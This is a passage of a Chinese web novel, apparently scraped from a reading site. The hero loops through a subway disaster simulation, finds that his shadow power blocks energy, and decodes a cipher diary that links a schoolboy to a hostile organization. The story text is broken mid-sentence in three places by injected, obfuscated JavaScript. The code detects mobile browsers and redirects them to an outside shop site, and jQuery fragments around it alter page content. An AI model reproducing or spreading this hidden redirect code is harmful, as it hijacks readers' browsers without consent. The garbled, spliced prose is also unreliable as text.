“太阳风,他是A级通缉犯!抓住他!” 刑焰是不是通缉犯江闻舟不知道,但至少江闻舟知道太阳风也不知道。 而果然,太阳风对曾在他面前立过“官方”人设的江闻舟深信不疑,一个迈步就挡在了江闻舟面前,手掌前探的瞬间,如太阳表面一样的可怕温度,开始在车厢内翻腾。 与此同时,那刑焰也终于回过神来,目光如冰刺般在江闻舟身上扎了一下后,落回太阳风身上。 “呵……太阳风吗?就让我来看看,你凭什么能被叫做‘太阳’吧!” 而后,火焰也升起了! 江闻舟看也不看这一触即发的异能者战场,向一旁吓得近乎呆住了的普通乘客大喊道: “所有人!不想死的就往04号车厢跑!快!” 江闻舟的声音,在这场嘈杂的风暴与火焰中,并不算响亮。 可他那镇定的表情,却似乎带着一种奇异的、令人信服的穿透力。 众人像是如梦初醒、又像是陷入了一场更可怕的梦里,下意识跟在江闻舟身后,如一群羔羊,慌慌张张地向04号车厢跑去。 人潮很快涌入了地铁的前四节车厢。 紧接着,江闻舟拉下了地铁车厢连接处的紧急拉门,将那个异能者战场抗拒在了04号车厢之外。 但,事情至此并没有太大好转—— 在这座城市,一节地铁车厢的长度约22米。 张茂的暴走,发生在06号车厢处,太阳风与刑焰的交手,则在06与05号车厢的连接处。 如果在这里交手的人,只是几个普通的异能力者,那么二十余米的距离再加上一扇紧急拉门,或许能够帮助这几节车厢里的普通乘客逃过一劫。 然而,太阳风、刑焰,甚至是失去理智了的张茂,这三人中的无论哪一个,都不是易与之辈! 因此—— 砰!砰!砰! 数不清的座椅、金属扶手、护栏,被远处车厢的风暴卷起,接连不断地砸在紧急拉门上,发出一声大过一声的震响,每一声都仿佛死神的敲门! 而随着这样的可怕声音,江闻舟身后的人们也很快哭做了一团,什么三清道祖如来佛祖玉皇大帝上帝撒旦之类的祈祷声,也开始胡乱响起。 江闻舟眼睁睁看着自己眼前的紧急拉门,先是变得滚烫近乎融化,接着又迅速冷却,被风暴一点点扭曲。 吱嘎! 终于,伴随着一声刺耳的金属撕裂声,那扇曾竭力抵御着异能风暴、保护着普通乘客的紧急拉门,化作了一团废铁。 拉门破开,随后,那狂暴的风与火,终于毫无阻拦地扑向了车厢内的人们。 “啊!” “救命!” “抓紧我!” “趴下!快趴下——!” “不要起身!不要抬头!” 人类并不是面对灾难时只会瑟瑟发抖的羔羊。 然而在这如同神迹的异能者战场前,他们再如何想要自救……又能如何呢? 在江闻舟复杂的目光尽头,太阳风、刑焰和张茂,这三位高阶异能者的战场,正如同一个不断膨胀的毁灭漩涡! 青色的风暴,火红的烈焰。 它们纠缠着,扭曲了江闻舟的视线,也扭曲了车厢的金属顶棚。 肉眼可见的灼热的气浪,以及在地铁车厢里不断蔓延的可怕裂纹,向着04号车厢的方向步步逼近。 江闻舟下意识想要后退,但他只是微微后倾,后背就紧贴上了另一个乘客的身前—— 原来他已经没有了后退的路! 因为所有人都没有退路! 这一刻,江闻舟不禁回头,借着那些在能量风暴中明明暗暗的火焰,看清了自己身后一张张恐惧的脸。 多奇怪啊,他明明不认识这些人,却又对他们每个人的面容都熟记于心。 多奇妙啊,他分明连这些人的名字都不知道,却几乎知道他们每一个人死前会呼喊的人。 江闻舟停下了后退的脚步。 他轻轻眨眼,不知为何,这一刻脑中突然浮出片刻前他打飞刑焰的那一拳。 为什么那一拳会那么可怕? 为什么他一介“凡人”,竟然能击飞一名“神”?! 时间在这一瞬间仿佛拉得极长极长。 无数思绪化作数据,在江闻舟脑海如瀑布流动。 直到—— 定格在江闻舟那一瞬间的动作。 ——是【虚影】! 终于,江闻舟想起来了。 在他决意要给刑焰一拳的时候,因为害怕自己的身体强度不够,所以下意识将【虚影】叠在了自己的体表,试图进行微不足道的增幅。 而也正是在这一刻,江闻舟同样想起了。 上周目结束前,他曾闯过高级异能力者卷起的风暴,径直闯入了风暴眼。 而那时候,他体表覆盖着的,依然是【虚影】! 就连最后杀死他的,也不是异能者暴虐的能量风暴,而是一根横飞过来的钢管! 为什么会这样? 是巧合? 还是—— 一个疯狂的念头在江闻舟脑中成型。 江闻舟瞬间做下决定: “拼了!” 赢了通吃,输了重开! 江闻舟咬牙,看着眼前近在咫尺的风暴,不退反进,右手向前探出。 心念驱动下,他那道永远只能在阴影中行动的、被所有人包括他自己,都投以失望的【虚影】,此刻在他身前一米开外之处,展开、拉伸,化作一道看似薄弱的屏障! 但—— 轰! 下一秒,当那狂暴的风与火狠狠撞过来时,这些至刚至暴、无坚不摧,足以熔金蚀铁的能量风暴,竟真的停下了! 如同撞上了一堵无形的叹息之墙,它们竟真的在这道由【虚影】构筑的薄薄屏障前停滞不前。 即便它们再如何翻滚、嘶吼、咆哮,甚至挣扎,却都无法再逾越雷池半步! 肆虐的能量光芒,照亮了江闻舟惊愕而屏息的脸,也照亮了他的眼睛。 而在他的身后,则是无数幸存者劫后余生的、难以置信的目光。 这一刻,一个人,一道屏障,就此划分开了地狱与人间。 不知过了多久,或许只有短短一分钟,却又漫长得像一个世纪。 “轰隆!” 终于,随着一声巨响,05号车厢与04号车厢的连接处,被持续的火焰熔断! 装满了普通乘客的前四节车厢,在惯性的作用下,与后方的异能者战场分离,越来越远,直到消失不见。 最后,当那燃烧的风与火,都被地铁隧道的黑暗彻底吞没后,江闻舟终于垂下了手,长长舒了口气。 …… 一切终于平息。 江闻舟站在残破不堪的地铁前有些出神,可能是在回想着这次可怕的灾难,又可能是在回想着他前二十年的穿越者人生。 不过,他并没能独处太久,因为很快,那些惊魂未定的获救人群就将他包围。 “谢谢……谢谢你小伙子……” “英雄!你是英雄啊!” “这位帅哥,你有没有女朋友?” “帅哥你有没有男朋友?” “现代人是一夫一妻制的,你要不要试试?” “多夫多妻也可以……” “……” 感谢的声音,放飞自我的声音,抖机灵的声音。 这些属于人类世界的一切声音,在这场灾难后一拥而上,叽叽喳喳地将他包围。 而后,那个面容敦厚、气质沉稳的中年男人——也就是那个在天道代打局中借了太阳风的手机,用手机完成五杀的人,走上前来,郑重地将一张材质奇特的名片递到江闻舟手中。 江闻舟低头看了一眼,惊讶发现这张名片上除了【朱厚先】这个名字外,其它什么都没写,而在名片的背面,则画着交叉的盾牌与望远镜。 ——是守望者组织的名片。 这个男人,竟然是守望者组织的人? 这一刻,江闻舟突然想到第三次模拟时,他在救护车里听到有人八卦,说守望者组织也在这场地铁灾难里折损了一个重要人物,不知道是姓朱还是姓马……莫非就是他?! 江闻舟心中思绪翻涌。 朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664131|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚先则对他露出憨厚笑容,目光却有着与面容不相符的精明与深邃:“这位小哥,这次真是太感谢你了,如果没有你挺身而出,恐怕我早就…… “不过小哥,你一定要小心。你破坏了深红商贩的行动,他们一定不会轻易放过你的……特别是刑焰,听说,你当众叫破了他的名字,甚至让他露出了真容? “这可麻烦了啊,这个刑焰,哪怕是在深红商贩,也不是个简单人物,他……” 朱厚先拐弯抹角地向江闻舟暗示着什么。 但还没等他进入正题,一群穿着群星联盟制服的人,便从远处快步走到江闻舟面前,感激的话语打断了两人的交流。 “您就是江闻舟先生吧?”一位联盟官员热情地握住他的手,“我代表棘城市政府,向您拯救了这辆列车的英勇行为,致以最诚挚的感谢和崇高的敬意!您的果敢与无私,避免了一场巨大的悲剧!” 这些群星联盟的人的话语十分官方,但表情却非常热切,态度也十分热情。 就好像他回到了八岁的那一年,所有人都对他投以热切目光,所有的大门都在为他敞开。 但不同的是,那时候的他们在期待着他的未来。 如今的他们,在仰望着他的现在。 江闻舟的心情莫名有些不自在,压下心中波澜,向联盟人员询问道:“太阳风他怎么样了?” “太阳风专员没事,他一对二,虽让主犯刑焰逃脱,但也成功控制住了暴走的异能者张茂,自身只是轻伤。真是万幸!” 江闻舟又问道:“我报警时说的那个可疑的中学生关前,以及深红商贩的外围成员王天与周建,这三人你们找到了吗?” 对方遗憾道:“我们抓获了王天与周建二人,但对于江先生你说的那个关前,我们没有发现他的任何痕迹……” 江闻舟皱眉,陷入沉思:刑焰跑了,张茂被押往了异能者监狱,而关前,则像人间蒸发一样消失了。 事情到这里,虽然仍有遗憾,但至少无人死亡,只有伤者。 这似乎已经是最好的结局了。 但是…… 思考到这里,画面再次定格。 紧接着,熟悉的文字淡入: 【你于灾难中挺身而出,挽救了无数生命,避免了无数家庭的破碎。】 【你守护了你想要守护的所有人,以一己之力阻绝了死亡的洪流。毫无疑问,此刻的你,就是当之无愧的英雄!】 【本次英雄模拟评级:A】 【请选择——】 【回到现实/重新开始模拟】 【注意:检测到本次模拟结果优于现实基准线,若选择‘回到现实’,用户可选择将本次结局保存、并覆盖现实。】 江闻舟愣了愣。 竟然还有【覆盖现实】这一选项? 那确实挺好的。 如果在模拟器里打生打死、千难万难的通关后,现实却还要再重打一遍的话,那的确挺崩溃的。 但—— 这样的结局,怎么能叫做“你守护了你想要守护的所有人”? 江闻舟低头,看着自己的手。 正是这双手,在方才阻止了灾难、隔绝了死亡的洪流。 也正是这双手,帮助他发现了【虚影】的真正作用—— 不是如战士一样粗暴地上前战斗,也不是和贼王一样干些偷鸡摸狗的事。 而是……能量阻隔。 多么不可思议啊! 这道连D级英雄都能随手锤散架的虚影、这道全部张开才不过区区4平方米的薄薄屏障,竟能将三名高级异能力者大打出手时的狂涌的能量风暴阻绝在外。 这样的能力,如此不可思议,如果经受过系统性的训练后,能够达到什么程度,他江闻舟几乎想都不敢想! ——他前二十年里究竟在干什么啊?! 但,没关系。 这一切都还来得及。 人只要开始行动,那么无论什么时候行动,都永远不算晚! 想到这里,想到逃走的刑焰与关前、被押走的张茂,甚至是……太阳风。 想到这些人,江闻舟下定了决心。 随即,毫不犹豫地做出了自己的选择: 【重新开始模拟】 光芒吞噬了江闻舟,也吞噬了这个“最好”的结局。 但江闻舟心中没有半分遗憾。 因为,如果一件事只有他做得到,那么他必将去做。 无论失败多少次,无论重复多少次,他都必定会达成—— 那个真正的“完美结局”! 15.第15章 密码 第二十一次模拟。 江闻舟再次站在熟悉的车厢。 这一周目,他只有一个目标:测试自己异能的极限。 江闻舟行动起来,本体艰难朝06号车厢的方向挤过去。 与此同时,他操控异能力【虚影】,顺着阴影,悄然抵达了目标车厢的顶部。 工欲善其事,必先利其器。 过去的二十年里,江闻舟已经摸清了自己异能力的绝大部分信息: 他的异能力【虚影】,约有他1.2倍的身体素质,最多只能连续存在一小时,最远不能离开本体五十米。一旦受伤,虚影立刻消散,他自身也会遭受精神反噬。 听起来相当垃圾。 但如今,江闻舟对自己的异能力有了全新期待! “首先,是范围。” 江闻舟心念一动。 那道已经攀上06号车厢顶部的虚影,便如同一块不起眼的水渍,在车顶迅速铺展、无声覆盖。 嗡—— 一股极其细微的震荡传回脑海。 江闻舟微微抬头,清晰“看”到,一道薄如蝉翼、近乎完全透明的薄膜,正覆盖在06号车厢的顶部。 长两米,宽两米。 四平方米。 ——与上周目一致,这就是【虚影】的极限。 但,就在此时,原本如同石雕般坐在座位上的刑焰,也忽然抬头看向车顶。 猩红如血的眼睛,直勾勾撞上江闻舟的“视线”。 江闻舟呼吸一滞。 他主动移开了本体视线,与此同时,却又通过【虚影】的视角,紧紧锁住刑焰的脸: 这个高级元素系异能力者,会察觉到什么吗? 当虚影躲藏在阴影中时,他固然不会发现,可当虚影成为阴影的本身时,他会注意到吗? 他又会做什么?! 在江闻舟紧绷的“注视”下,刑焰猩红的双眼直直“回望”,好像下一秒他就会暴起发难,挥手扬出那足以熔金蚀铁的异能! 但—— 十秒。 二十秒。 三十秒。 足足半分钟的注视后,刑焰收回目光,重新垂下眼帘。 江闻舟心中狂喜: 二十年前,【虚影】还是一道细心观察就能识破的影子。 二十年后,它竟连刑焰这样的高阶能力者都能瞒过! 难怪在前几个用虚影监视和试探的模拟周目里,他一直没有发现刑焰是异能力者。 原来刑焰,也一直没发现他! 江闻舟心中越喜,脑袋转得更快了: 既然刑焰察觉不到虚影的存在,那么……如果让虚影更进一步,直接扑到刑焰身上,将他裹住,隔绝他的异能,岂不是可以无痛拿下刑焰? 是啊,是啊。 他何必拿自己的虚影去当战士? 当一个史莱姆刺客也可以呀! 这个念头一旦生出,就难以遏制。 江闻舟指尖有些发颤,在兴奋和激动的驱使下,立即开始验证起了自己的猜想——操控虚影,自车顶直扑刑焰! 但,也正是这一瞬,刑焰猛然抬头。 他什么也没看见。 可千锤百炼的战斗直觉,却让他毫不犹豫,朝半空挥出一拳! 砰! 不知是拳风撕裂空气的脆响,还是他刚刚真的击中了什么。 刑焰收拳,凝视着自己的指节,眉头紧锁。 隔壁车厢,江闻舟按着自己的太阳穴,吞下痛哼,感到一阵眩晕。 再来! · 第二十二次模拟。 吸收了上一次的失败教训,这回,江闻舟选择从下方偷袭。 但—— 咚! 刑焰依然什么都没有看到,但不妨碍他做出试探。 于是,一声闷响,刑焰重重剁了一脚,虚影再次溃散。 江闻舟有些愕然,按着自己突突直跳的太阳穴: 真是要命……是只有刑焰的警惕心这么高,还是所有的高级异能力者都这样? · 第二十三次模拟。 江闻舟将实验对象换成了太阳风。 但却得到了一模一样的结果。 江闻舟兔斯基抱头: 看来,【虚影】虽能隔绝能量,物理防御却极低,并且由于高级异能力者警惕性很高,所以它很难成功接近高级异能力者,也无法直接用于控制。 酷炫战士梦又一次悄然破碎的江闻舟,愤愤踹了一脚墙角。 再来! · 第二十四周目。 这一回,江闻舟彻底熄了那些有的没的心思,专注测试自己的能力上限。 因每周目只有半小时,只能承受一次虚影破碎的结果。 为此,江闻舟足足花了三周目的时间,在各种变量下测试虚影的能量阻隔上限。 好消息是,虚影能完全阻隔高级异能者引发的能量风暴。 哪怕是三名高级异能力者的全力爆发,都没有对江闻舟造成半点压力。 但坏消息是,当虚影展开到最大面积时,它的物理抗性变得更差了。 ——只要从能量风暴中随便飞出一根钢管、半截座椅,就能轻易打破虚影的屏障,令能量涌入车厢,使得悲剧再现。 由此可见,【虚影】这个能力的长处和短板,都相当突出。 至此,第二十六次模拟结束。 江闻舟对异能力【虚影】的探索,也暂时告一段落。 · 第二十七次模拟。 江闻舟终于继承了之前的探索线,开始干正事了。 ——什么正事? 当然是探究关前这个奇怪中学生的网球包! 在第二十次模拟时,江闻舟就生起过一个念头:既然关前不是普通中学生,那他背后的网球包里装着的,又真的只是网球拍吗? 江闻舟觉得不是。 因此,这周目的江闻舟,没有理会任何人,直奔关前! 就像是个最顶级的窃贼,当江闻舟在关前身侧驻足的瞬间,【虚影】便悄无声息地爬到关前后背的网球包上,轻轻拉开拉链。 咔、咔、咔、咔。 极细微的声音一节一节响起。 注意到江闻舟的停顿,关前这个奇怪的中学生立即警惕起来,投来目光。 江闻舟微微一笑,就像是个多管闲事的自来熟,拽着这个小朋友就拉起了家常。 “小朋友,你在哪里读书啊?怎么这么早就去学校啦?哟,还背着网球包,你是网球社的吗?别看叔叔我现在这样,年轻的时候我也是网球社的风云人物哦!” 关前:“……” 在江闻舟喋喋不休的废话攻击下,关前一脸郁卒地背着网球包离开了05号车厢。 连监视的事都不管了,只求离江闻舟远一点。 江闻舟看着关前的背影,若有所思,心中暗忖:“这么看来……‘监视刑焰’这件事,不是关前必须要完成的‘任务’,而是关前自己的个人行为?” 这件事说起来其实相当荒谬:一个高级异能力者的秘密行动,竟然正被另一个草台班子偷偷盯着。 但,也只有这个荒谬的理由才能解释,关前为什么只雇了王天和周建两个外围成员——不是因为关前真的离谱到这个地步,而是因为一个中学生确实没多少钱。 同时,这也解释了关前为什么有些周目里会为了凑热闹,而把刑焰的事抛在脑后。 “所以……这个知道刑焰的底细、甚至很可能知道刑焰这场行动目的的关前……到底会是什么身份呢?” 江闻舟目光下移,落在自己手中的笔记本上。 ——正是从关前网球包里掏出的笔记本。 关前的网球包里,除了没有网球拍之外,好似什么都有。 江闻舟用虚影翻找了一下,从包里发现了一本《小王子》——儿童插画版;一只拼到一半的高达手办;一串沉甸甸的钥匙;再有就是这个笔记本了。 江闻舟偷偷拿出了笔记本,其它别的都没有动,等关前彻底离开05号车厢后,便将笔记本徐徐翻开。 出乎意料的,这个笔记本上全是英文,笔触有些稚嫩,符合孩子的笔记,问题是单词没一个江闻舟认识的。 有那么一瞬间,江闻舟在茫然间以为自己脱离时代了,有某种新的语言瞒着他们社畜推给了全世界,甚至干脆以为自己又穿越了。 但也仅是一瞬间,江闻舟反应了过来: 是密码! 这一整个笔记本,竟全都是用密文写的! 江闻舟顿时感到头皮发麻。 因为,想也知道——会用一个本子来写密文的人,他的真实身份,该有多不简单? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673187|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他江闻舟,这回真的钓到了一条大鱼了! 可紧接着,另一种发麻的感觉也爬上了江闻舟的背脊: 这一整本密文,该怎么破解? 江闻舟大致了解过一点密码学,只知道一点密码学的皮毛。 如果放在其它的任何时间任何地点上,江闻舟压根都不会多看这种密码本一眼。 但如今……不能上也得上了! 江闻舟硬着头皮,开始翻看,耳朵则时刻留意着周围的动静,就怕关前去而复返。 笔记本里大概有三十左右的字母。 江闻舟首先做了最基础的频率统计,但他发现,没有任何一个符号出现的次数特别多。 这不像是简单的字母替换。 “频率分布太均匀了……不像是简单的移位或替换密码。”江闻舟沉吟,“难道是……多表替换密码?” 突然,江闻舟脑中灵光闪过: 在古典密码中,维吉尼亚密码正是多表替换的典型。而且,在《异我之名》这个漫画里,几乎所有角色都会用这种密码。 毕竟这是一本漫画,太复杂了对作者对读者都没有好处。 解开维吉尼亚密码的关键,在于密钥。 那么,这个本子的密钥会是什么呢? 6:25′ 江闻舟的额上不知什么时候渗出了细汗。 在《异我之名》中,密钥通常是组织名的缩写。 因此,鉴于这条地铁上出现频率最高的某个组织,江闻舟第一时间便试了深红商贩(The Crimson Syndicate)的缩写“TCS”。 但不对。 江闻舟愣住了。 竟然不对? 为什么? 是因为这个密码本的主人比《异我之名》的作者更聪明,没有选择用极易破解的维吉尼亚密码加密,还是因为……这个密码本的主人,根本就不是深红商贩的人? 江闻舟的心慢慢沉了下来。 6:28′ 近乎下意识的,他抬起头来,看向关前消失的方向,就连他自己都说不清他是在期待什么、害怕什么。 但很快,江闻舟深深呼吸,静下心来,仔细观察这些符号。 很快的,在某一页的角落,江闻舟发现有四个符号被极其轻微地加粗了。 如果不是江闻舟看得实在仔细,他根本发现不了这点微妙变化! “这难道是密钥长度的提示?每四个符号为一组加密?” 一个大胆的猜测在江闻舟的脑中成型。 “在《异我之名》里,有哪些组织的缩写是四个字母?” 对于当下的人们来说,如今世界的局势,无疑是混乱而混沌的。 所有人都激情澎湃,但没有人能看清全貌,更没有人知道那一个个口号下藏着的,究竟是人是鬼! 但——江闻舟对此一清二楚。 他迅速回想全世界各组织的缩写,很快锁定了一个组合: T、H、P、F。 这一瞬间,成功破解密码的喜悦,还没有在江闻舟脑中停留片刻,下一秒,江闻舟就像是被迎头泼了一盆冷水,心脏瞬间沉入谷底。 因为—— T、H、P、F。 在《异我之名》这个错综复杂的世界里,只指向唯一的存在:人类进步阵线(The Human Progress Front)。 那个将“生存高于文明,适应即为进化”奉为圭臬的……投降派! 是一个在以“英雄”为主题的漫画中,逆主流而行,主张向外星文明投降、令人类文明彻底成为外星附庸的投降派! 这个组织的存在,和深红商贩有着截然不同的意义,因为深红商贩再怎么发疯,也是人类内部的事。 可人类进步阵线……却是彻头彻尾的人类之敌! 6:30′ 熟悉的风暴,再次出现了! 江闻舟的手一松,笔记本从他手中悄然滑落,还没来得及跌落在地面,就被卷入了那场青色的飓风中。 这一刻,江闻舟表情空白,僵立原地,侧头看着06号车厢内那好似只是单纯的“异能暴走”的青色风暴,终于意识到—— 他卷入的这场漩涡,或许比他最初想象的更深。 而他想要达成的完美结局,尚遥不可及。 第二十七周目,结束。 16.第16章 关前 第二十八次模拟,开始。 江闻舟再次回到熟悉的起点,陷入沉思。 他在思考一个问题,那就是【人类进步阵线】这个挂羊头卖狗肉的投降派组织,在这次地铁的事件中,究竟占据了多大比例。 没错,在上周目,他的确从关前这个小鬼的背包里翻出了一本属于【人类进步阵线】的密码本……但这又能代表什么呢? 先不提这个密码本到底属不属于关前,哪怕这个密码本的主人正是关前,也不能直接证明【人类进步阵线】与这次地铁案有关。 因为——关前来地铁监视刑焰的行动,完全是这个中学生的个人行为! 这一点至关重要。 然而,一个疑似【人类进步阵线】成员的人,突然开始监视【深红商贩】的AA级雇佣兵,这本身也相当可疑。 江闻舟提醒自己:不能因发现【人类进步阵线】的线索就武断定罪,但也不能因关前的个人行动就断定其无辜。 他在心中细致地给两个组织分好锅。 接着,江闻舟略作思考,确定了自己接下来的行动目标。 他复刻了自己上周目的行动,再次拿到了关前网球包里的笔记本。 而这次,由于已经找到密钥,江闻舟便直接把笔记本的内容拍照上传,利用在线解码网站进行解码翻译了。 是的,现代人的生活就是如此便捷。 当然,如果换做现实,江闻舟肯定不敢这么乱来的。 但谁叫这是模拟呢? 笔记本的内容很长,而江闻舟每个周目的可支配时间很短。 因此,足足花了三个周目,直到第三十周目的末尾,江闻舟才终于将这一整个笔记本的内容解码完毕。 令江闻舟有些失望的是,这个神秘的笔记本内,并没有记录什么【人类进步阵线】的重要文件,反而写满了关前对组织日常的种种抱怨。 ——没想到这小鬼竟然真的是组织成员! 关前在日记中提到,他有一个不知道是“医生”还是“博士”还是“医生博士”的母亲,他称呼她为Dr.G。 Dr.G是个工作非常繁忙,并且也十分严肃冷酷的人,哪怕是对待关前这个亲儿,她也向来不假辞色,更没有花什么时间陪伴过他。 她与关前日常最多的交流,就是吩咐关前监视这个实验进度、记录那个数据,最后整理成文档交到她办公室——该说不说,这个中学生原来竟还是组织里的研究助手,真是人不可貌相。 但,除此之外,这对母子几乎没有任何交流。 从日记内容可以看出,关前对这位Dr.G是十分孺慕和敬仰的。 他经常挖空了心思,去准备一个个小礼物、制造一个个小礼物,试图得到这位Dr.G的哪怕片刻停留、半句称赞。 但他从来没有成功过。 可尽管如此,关前想要在这位Dr.G面前表现自己和证明自己的心思,也从来没有消失。 比如说这一次行动。 江闻舟迅速筛选出了日记本内的重要片段: 【X月X日,Dr.G终于结束了对#@¥%&@的实验,谢天谢地,我看数据已经看得快吐了。】 “#@¥%&@”是什么东西? 江闻舟有片刻困惑。 但鉴于这玩意儿本来就是机翻,再加上英文和中文有着根本性差异,有许多专业名词放在中文里,尚且可以通过字面组合“猜”出个大概,但放在英文里,如果不专门学习,就完全不知所云。 于是江闻舟将这个“#@¥%&@”暂命名为“1号未知物”后,继续看了下去。 …… 【X月X日,Dr.G终于结束了对1号未知物的检测,谢天谢地,我看数据已经看得快吐了。】 【说真的,我们连1号未知物的合成方式都不清楚,就想要对它进行优化?真是天方夜谭,也不知道上头到底想要做什么。】 …… 【X月X日,过几天就是Dr.G的生日了,我有点紧张。如果我直接送她礼物的话,她会接受吗?还是会像之前一样,根本没有发现那些是我送的?】 【糟糕,越想越紧张,真的好紧张,我都快要吐了。】 【想要去找Dr.G试探一下,但在走廊上听到她说要对1号未知物进行实验。】 【“如果能尽快得出结果就好了。”Dr.G跟那个傻乎乎的助手S说,“就当作是我的生日礼物吧,希望实验顺利。”】 【可恶!Dr.G竟然在笑?为什么?她从来没有在我面前露出过这种笑,更是从来不会跟我聊这些!她只会跟我说,“G,跟进这个实验”,“G,记录好那些数据”,“G,把它们整理成文档,发到我的邮箱”……凭什么?】 【那个傻乎乎的S,甚至连实验日志都填不明白!明明我才应该是妈妈最亲近的人!】 …… 看到这里,江闻舟心中十分复杂。 按理来说,他应该对【人类进步阵线】的走狗深恶痛绝才对。 尤其是关前这种参与了组织重要实验的家伙,有一个算一个,全都半点不算无辜! 可是—— 关前还是一个孩子。 一个孩子,如何选择自己的出身? 如果他无法选择自己的出身,又如何决定自己的未来? 他江闻舟作为一个成年人,真的能毫不留情地指责关前是“恶”的吗? 江闻舟苦笑:果然,人类到了他这个年龄阶段时,是最麻烦的。 因为他已经长到了能理解任何人的年纪了。 …… 【X月X日,确定了,那些家伙真的把1号未知物的实验外包出去了。】 【搞没搞错,我们可是THPF啊,1号未知物这样的重要东西,怎么能够外包给别的组织测试?】 【上头的那些家伙都在想什么啊?!】 …… 【X月X日,接下这个任务的是深红商贩。啧,那群四肢发达头脑简单的佣兵知道些什么?万一实验出了岔子怎么办?】 【而且,这样重要的实验,能这样公开进行吗?如果被群星的那些家伙注意到后,1号未知物真的还能再继续研发下去吗?】 【上头的那些家伙都在想什么啊!】 …… 【X月X日,找到了,那个接下任务的人叫刑焰,我要好好查查他,可不能让他毁了Dr.G的生日愿望!】 【……可是,如果他真的毁了Dr.G的生日愿望,Dr.G是不是就能看到我了?】 …… 【X月X日,我也不知道我想要干什么,但我已经决定要跟上他了。】 【——棘城,早晨6时30分,T-06地铁。】 【这好像是我生命中第一次坐地铁吧?】 【有点开心。】 【但又有些莫名的失落。】 【为什么呢?】 【我不明白。】 …… 合上关前的日记本,江闻舟心中掀起惊涛骇浪。 难怪…… 原来如此! 如果是这样的话,一切就都说得通了! 【深红商贩】里头的人,虽然多是群疯狗,可对外,它却一直是一个佣兵工会模式。 因此,身为AA级的雇佣兵,刑焰来到这辆地铁上的目的,也不应该是随机报复社会,而应该是受雇于某个组织或人。 比如说【人类进步阵线】。 出于未知原因,【人类进步阵线】将1号未知物的测试,外包给了【深红商贩】,而后,刑焰接下了这个任务,要在这辆地铁上,进行一场极限的人体实验—— 该死!听起来更可恶了! 这样的一场阴谋行动,因过于简单、直接、链条极短,本不该被任何人发现才对。 然而关前这个不靠谱的小子,在偶然得知行动后,竟自己拿出零花钱,找了两个人,组成一个草台班子来监控刑焰,这才反向暴露了刑焰……不,或许也不能说“暴露”,因为一开始的江闻舟,也确实没有注意到他们。 总而言之,在这短暂的半小时里,地铁上实际发生的,其实是两起紧密相关的事件: 事件一,刑焰受【人类进步阵线】雇佣,在地铁上对张茂注射未知药剂,进行某种未知的人体实验; 事件二,偶然得知这场实验的小鬼关前,出于对母亲复杂的情感,过来监视刑焰。 想到这里,事情在进一步明朗的同时,也笼上了一层新的迷雾: 为什么是张茂?他有什么特殊的地方吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684117|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个药剂,也就是“1号未知物”,其真相究竟是什么? · 第三十一周目。 江闻舟决定从这个不靠谱中学生关前下手。 · 关前是一个什么样的孩子? 从日记与行动来看,他是一个矛盾而复杂的人。 他既聪明到足以担任【人类进步阵线】的重要实验助手,又鲁莽到亲自来到地铁上监视刑焰。 与此同时,当他站在地铁T-06线上时,心中既希望刑焰完成实验、让Dr.G开心;又隐隐期待实验失败,好令失望的Dr.G低头看到他的存在,获取Dr.G的承认与关爱…… 这样的一个孩子,其实是相当好引诱的。 一句话概括:唉,东亚,唉,原生家庭。 思绪电转间,江闻舟很快理清了自己这周目需要的话术。 · 江闻舟在关前身前停步。 不同于以往的任何一次,这一周目的江闻舟,模样是极具压迫感的: 打理得一丝不苟的头发,哪怕挤在地铁上也依然干净笔挺的西装,还有他足足一米八五的身高。 当这样的江闻舟刻意沉下脸时,他所营造出的压迫感和气势,足以令人窒息。 甚至有人评价过,这样的江闻舟如果去扮演反派,绝对是那种在勇者自以为胜利、开始欢呼时,才缓缓现身,告知“你打败的只是替身”的那种终极BOSS。 因此,当他出现在关前的瞬间,这个中学生就紧张了起来。 并且,就连太阳风的视线,也飞速飘来。 江闻舟不为所动,用后背挡住了太阳风的视线,低头冷冷看着关前。 “G。” 这个称呼出现的瞬间,关前瞳孔紧缩。 江闻舟冷淡道:“你不该在这里。告诉我,你为什么会出现这辆列车上?” 这一刻,关前心神大乱。 从这个孩子的表情上来看,这短短的一瞬间,他脑中一定闪过了无数念头。 可他依然强做镇定,梗着脖子,试图夺回这段对话的主导权。 “你是谁?什么G……我不认识你!走开!” 关前低头想要溜。 但江闻舟伸手按住了他的肩膀。 力道不重。 却偏偏就是让关前僵立在了原地,再也动弹不得。 “G,你的任务是观察和记录,而不是出现在这样的地方。”江闻舟公事公办地说着,声音冰冷,近乎咄咄逼人,“告诉我,Dr.G想做什么?” “不关Dr.G的事!是我!是我自己出来的!” 